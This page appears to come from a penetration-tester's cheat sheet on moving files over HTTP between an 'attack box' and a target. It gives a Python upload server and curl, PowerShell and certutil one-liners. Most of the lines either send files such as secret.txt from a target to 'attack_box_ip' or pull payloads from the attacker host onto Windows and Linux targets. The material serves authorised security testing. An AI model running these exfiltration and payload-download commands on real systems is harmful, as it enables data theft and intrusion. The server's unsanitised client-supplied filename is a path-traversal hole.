Skip to main content

HTTP

HTTP POST (Upload to Attack Box)

Server Side (Attack Box)

Python Server

Python HTTP Upload Server Source Code (Show / Hide)
#!/usr/bin/env python3

import os
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleUploadHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        content_type = self.headers.get('Content-Type', '')

        if 'multipart/form-data' not in content_type:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b'Expected multipart/form-data')
            return

        boundary = content_type.split('=')[-1].encode()
        remainbytes = content_length
        line = self.rfile.readline()
        remainbytes -= len(line)

        if boundary not in line:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b'Content does not start with boundary')
            return

        # Parse headers
        line = self.rfile.readline()
        remainbytes -= len(line)
        filename = line.decode().split('filename=')[-1].strip().strip('"').split('"')[0]
        save_path = os.path.join(SimpleUploadHandler.output_dir, filename)

        # Skip Content-Type and blank line
        self.rfile.readline(); remainbytes -= len(line)
        self.rfile.readline(); remainbytes -= len(line)

        try:
            with open(save_path, 'wb') as out_file:
                preline = self.rfile.readline()
                remainbytes -= len(preline)
                while remainbytes > 0:
                    line = self.rfile.readline()
                    remainbytes -= len(line)
                    if boundary in line:
                        out_file.write(preline[:-2])  # Strip trailing \r\n
                        break
                    out_file.write(preline)
                    preline = line

            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"File '{filename}' uploaded to '{save_path}'.\n".encode())
        except Exception as e:
            self.send_response(500)
            self.end_headers()
            self.wfile.write(f"Upload failed: {e}".encode())

def run_server(port, output_dir):
    # Check if output directory exists
    if not os.path.isdir(output_dir):
        raise Exception(f"Output directory does not exist: {output_dir}")

    SimpleUploadHandler.output_dir = os.path.abspath(output_dir)
    server = HTTPServer(('', port), SimpleUploadHandler)
    print(f"Server listening on port {port}")
    print(f"Files will be saved to: {SimpleUploadHandler.output_dir}")
    server.serve_forever()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Simple HTTP File Upload Server")
    parser.add_argument('-p', '--port', type=int, default=8000, help='TCP port to listen on (default: 8000)')
    parser.add_argument('-o', '--output-directory', default='/tmp', help='Directory to save uploaded files (default: /tmp)')

    args = parser.parse_args()
    run_server(args.port, args.output_directory)

http_upload.py

Example Usage:

python3 http_upload.py -h

Show help output

sudo python3 http_upload.py --port 80 --output-directory "$PWD"

Serve on tcp/80 and save uploaded files to the current directory

Client Side (Target)

Linux Client

curl -F 'file=@/tmp/secret.txt' 'http://attack_box_ip/'

Windows Client

PowerShell: .NET Reflection
[void](New-Object System.Net.WebClient).UploadFile('http://attack_box_ip/', "C:\Windows\Temp\secret.txt")

Using .NET reflection

PowerShell: Invoke-WebRequest
PowerShell (Show / Hide)
$filePath = 'C:\Windows\Temp\secret.txt'
$file = try { Get-Item $filePath -ErrorAction Stop } catch { throw $_.Exception }
$fileContents = $(-join[char[]][System.IO.File]::ReadAllBytes($file.FullName))
$uploadUri = 'http://attack_box_ip/upload.php'
$formBoundaryBegin = '----l337PwnzFormBoundary'
$formBoundaryEnd = $formBoundaryBegin + "--`r`n"
$formBody = @"
$formBoundaryBegin
Content-Disposition: form-data; name="file"; filename="$($file.Name)"
Content-Type: application/octet-stream

$fileContents
$formBoundaryEnd
"@

$parameters = @{
  'Method' = 'POST'
  'Uri' = $uploadUri
  'Headers' = @{
    'Content-Type' = "multipart/form-data; boundary=$formBoundaryBegin"
  }
  'Body' = $formBody
}
Invoke-WebRequest @parameters

Neither -InFile nor -Form support multipart/form-data natively like you'd see with curl, so we must build the multipart request ourselves when using Invoke-WebRequest

$filePath = 'C:\Windows\Temp\secret.txt' ; $uploadUri = 'http://attack_box_ip/' ; $file = try { Get-Item $filePath -ErrorAction Stop } catch { throw $_.Exception } ; $fileContents = $(-join[char[]][System.IO.File]::ReadAllBytes($file.FullName)) ; $formBoundaryBegin = '----l337PwnzFormBoundary' ; $formBoundaryEnd = $formBoundaryBegin + "--`r`n" ; $formBody = "$formBoundaryBegin`nContent-Disposition: form-data; name=`"file`"; filename=`"$($file.Name)`"`nContent-Type: application/octet-stream`n`n$fileContents`n$formBoundaryEnd" ; $parameters = @{'Method' = 'POST'; 'Uri' = $uploadUri ; 'Headers' = @{ 'Content-Type' = "multipart/form-data; boundary=$formBoundaryBegin" } ; 'Body' = $formBody } ; Invoke-WebRequest @parameters

Same request as above but as a one-liner

Windows Binaries
curl.exe -F 'file=@C:/Windows/Temp/secret.txt' 'http://attack_box_ip/'

If curl.exe is installed


Python Web Server

Python 2 vs. Python 3

python3 -m http.server 50011

Start HTTP server on tcp/50011 using Python 3

python2 -m SimpleHTTPServer 50011

Start HTTP server on tcp/50011 using Python 2

Transfer from Attack Box

You've got a payload in the /tmp folder on the Attack Box that you want to transfer to a target

To Windows

sudo python3 -m http.server --directory /tmp 80

Start HTTP server on tcp/80 on attack box and serve files out of /tmp

certutil.exe -urlcache -split -f 'http://attack-ip/filename' 'filename'

Use certutil.exe on Windows target to download file from attack box

Invoke-WebRequest -UseBasicParsing -Uri 'http://attack-ip/filename' -OutFile 'C:\Windows\Temp\filename'

Use PowerShell Invoke-WebRequest to download the file from attack box

To Linux

sudo python3 -m http.server --directory /tmp 80

Start HTTP server on tcp/80 on attack box and serve files out of /tmp

curl http://attack-ip/filename -o /tmp/filename

Download file from attack box to Linux target using curl

wget http://attack-ip/filename -O /tmp/filename

Download file from attack box to Linux target using wget

Transfer to Attack Box

From Windows

Assumes Python is installed on the Windows target and that the TCP port is allowed through the firewall

$job = Start-Job -ScriptBlock { python3 -m http.server 51110 --directory 'C:\Users\john.doe\Desktop' }

Serve files out of user desktop on target and bind to tcp/51110 to avoid needing admin privileges
Use Start-Job to run the server in the background for best experience with reverse shells

$job | Remove-Job -Force

Kill the job when finished

From Linux

python3 -m http.server 51110 --directory /home/john.doe &

Serve files out of user home path on target and bind to tcp/51110 to avoid needing root privileges
Background the job with & for best experience with reverse shells

To Attack Box

curl http://target-ip:51110/filename -o /tmp/filename

Use curl to download file from target to attack box

wget http://target-ip:51110/filename -O /tmp/filename

Use wget to download file from target to attack box